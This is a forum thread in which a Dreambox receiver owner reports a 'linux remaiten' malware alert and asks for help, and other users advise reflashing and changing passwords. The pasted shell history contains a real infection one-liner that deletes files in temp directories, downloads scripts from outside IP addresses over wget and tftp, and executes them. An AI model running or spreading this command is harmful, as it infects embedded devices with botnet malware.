There are 4 replies in this Thread which was already clicked 971 times. The last Post () by Pwalsh2014.
Found some suspect files listed in Dreambox root directory.
When transferring to PC:"linux remaiten virus" alert for "mscfg "and "retrieve files" ?
ıs there anythiing I can do ?
ıs there a virusscanner for Linux ?
the only thing I did was to change passwords.
Sounds like a trojan.....but doubt if it came from linux,...
Re-flashing the box with a fresh image and changing password and all passwords/ports while disconnected from the external internet will do the trick...
Unfortunately I had reflashed #$%&12Em days ago (:
Do you know by chance whether the IP s below mean anything or normal Dreambox procedure ?
root@dm500hd:~# cat /home/root/.ash_history
cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://107.182.24.29/rv.sh;sh rv.sh;busybox tftp -r rv1.sh -g 208.67.1.114;sh rv1.sh;busybox tftp 107.182.24.29 -c get rv2.sh;sh rv2.sh;exit
Your IP originates from Turkey where as IP 107.182.24.29 originates in the USA...
Come to your own conclusion!!!
Do what I wrote earlier in POst#2 ..simple..
i have seen a few boxs and harddrives infested with mailware loaded on to them
reflash / format everything
Don’t have an account yet? Register yourself now and be a part of our community!
